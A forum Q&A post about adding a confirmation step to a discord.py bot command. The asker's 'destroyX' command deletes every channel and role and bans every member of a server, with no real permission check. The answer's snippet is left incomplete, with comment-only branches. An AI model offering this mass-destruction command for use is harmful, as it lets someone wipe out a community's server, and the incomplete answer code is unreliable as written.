Is there anyway to have a two step command in discord.py

521 Views Asked by At

I have this:

       @commands.command()
       async def destroyX(self, ctx):
            await ctx.message.delete()
            for channel in list(ctx.guild.channels):
                try:
                    await channel.delete()    
                except:
                    pass
            for user in list(ctx.guild.members):
                try:
                    await user.ban()
                except:
                    pass    
            for role in list(ctx.guild.roles):
                await role.delete()
            else:
                await ctx.send('You are not allowed to execute this command!')

Is there anyway for it to say something like "Are you sure you want to run this command?" in the chat.

1

There are 1 best solutions below

8
Supreme1707 On

You can use an if-else statement:

@commands.command()
async def destroyX(self, ctx):
    def check(m):
        return m.author == ctx.author and m.channel == ctx.channel

    await ctx.message.delete()
    await ctx.send("Are you sure you want to run this command?")
    # for user input
    response = await self.bot.wait_for('message', check=check)

    if response.content == 'yes':
        # the actions which should happen if the person responded with 'yes'
    else:
        # actions which should happen if the person responded with 'no' or something else